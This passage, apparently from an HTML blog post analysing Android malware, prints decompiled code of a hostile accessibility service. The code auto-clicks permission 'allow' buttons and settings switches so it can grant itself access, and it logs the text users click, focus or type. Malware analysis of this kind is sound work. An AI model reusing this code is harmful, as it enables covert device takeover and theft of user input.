false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">else {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Iterator iterator1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/switch_widget&#8221;).iterator();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(true) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_32:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!iterator1.hasNext()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Object object1 = iterator1.next();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo2 = (AccessibilityNodeInfo)object1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo2.isChecked()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!accessibilityNodeInfo2.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(!accessibilityNodeInfo2.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo2 = accessibilityNodeInfo2.getParent();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!accessibilityNodeInfo2.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_32;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo2.performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;57fvxkkp9fh2vbbbbngmol52&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(2);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_45:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;57fvxkkp9fh22l8bggwngmol52&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName().toString().contains(&#8220;com.android.settings&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list2 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/button1&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(list2 != null &amp;&amp; list2.size() &gt; 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo3 = (AccessibilityNodeInfo)list2.get(0);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if((accessibilityNodeInfo3.isClickable()) &amp;&amp; (accessibilityNodeInfo3.performAction(16))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;57fvxkkp9fh22l8bggwngmol52&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;1lf7as4w8hd5zaks0mpc&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName().toString().equals(&#8220;com.google.android.packageinstaller&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list3 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.packageinstaller:id\/permission_allow_button&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(list3 != null &amp;&amp; list3.size() &gt; 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo4 = (AccessibilityNodeInfo)list3.get(0);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo4.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo4.performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">boolean z = accessibilityEvent0.getPackageName().toString().equals(&#8220;com.google.android.permissioncontroller&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(z) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object2: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.permissioncontroller:id\/permission_allow_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object2).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object3: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.permissioncontroller:id\/permission_allow_foreground_only_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object3).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName().toString().equals(&#8220;com.android.permissioncontroller&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object4: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.permissioncontroller:id\/permission_allow_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object4).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object5: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.permissioncontroller:id\/permission_allow_foreground_only_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object5).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">c.b(this.getApplicationContext());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;8y2bj5kjidcmw6t9j09hha0&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName() != null &amp;&amp; (accessibilityEvent0.getPackageName().toString().contains(&#8220;com.android.settings&#8221;))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list4 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/switch_widget&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">int v = 0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object6: list4) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(((AccessibilityNodeInfo)object6).isChecked()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_116;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!((AccessibilityNodeInfo)object6).isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">v = 1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list5 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/title&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">int v1 = 0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object7: list5) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo5 = (AccessibilityNodeInfo)object7;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(v == 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(int v2 = 0; !accessibilityNodeInfo5.isClickable() &amp;&amp; v2 &lt; 3; ++v2) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo5 = accessibilityNodeInfo5.getParent();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!accessibilityNodeInfo5.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">continue;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo5.performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">else {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)list4.get(list5.indexOf(accessibilityNodeInfo5))).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">v1 = 1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(v1 != 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;8y2bj5kjidcmw6t9j09hha0&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.performGlobalAction(2);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_116:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;ayxrd2v2qhxjanriycbd1&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName() != null &amp;&amp; (accessibilityEvent0.getPackageName().toString().contains(&#8220;com.android.systemui&#8221;))) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object8: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/button1&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object8).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;bsabdbABSyvfv366262&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">boolean z1 = accessibilityEvent0.getPackageName().toString().contains(&#8220;com.google.android.packageinstaller&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(z1) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object9: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.settings:id\/left_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object9).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;bsabdbABSyvfv366262&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object10: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/button1&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object10).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;bsabdbABSyvfv366262&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityEvent0.getPackageName().toString().contains(&#8220;com.android.packageinstaller&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object11: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.settings:id\/left_button&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object11).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;bsabdbABSyvfv366262&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(Object object12: this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/button1&#8221;)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">((AccessibilityNodeInfo)object12).performAction(16);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;bsabdbABSyvfv366262&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;b24z1bcurlu5aq9b6o910g4kv5jvz5srp&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">CharSequence charSequence0 = accessibilityEvent0.getPackageName();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s = &#8220;&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s1 = charSequence0 == null ? &#8220;&#8221; : accessibilityEvent0.getPackageName().toString();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s2 = new SimpleDateFormat(&#8220;MM\/dd\/yyyy, HH:mm:ss z&#8221;, Locale.US).format(Calendar.getInstance().getTime());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.c(this.getRootInActiveWindow());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">switch(accessibilityEvent0.getEventType()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 1:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 8:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 16: {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s3 = accessibilityEvent0.getText().toString();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_169;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">int v3 = accessibilityEvent0.getEventType();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_188;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(v3 != 0x2000) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_188;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s3 = accessibilityEvent0.getText().toString();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_169;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s4 = &#8220;&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s5 = &#8220;&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_173;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_169:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s = accessibilityEvent0.getSource().getViewIdResourceName();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s4 = s3;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s5 = s;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_173:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">switch(accessibilityEvent0.getEventType()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 1: {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a0 = this.b;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s6 = &#8220;click&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_187;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 8: {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a0 = this.b;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s6 = &#8220;focus&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_187;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">case 16: {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a0 = this.b;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">s6 = &#8220;text&#8221;;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span 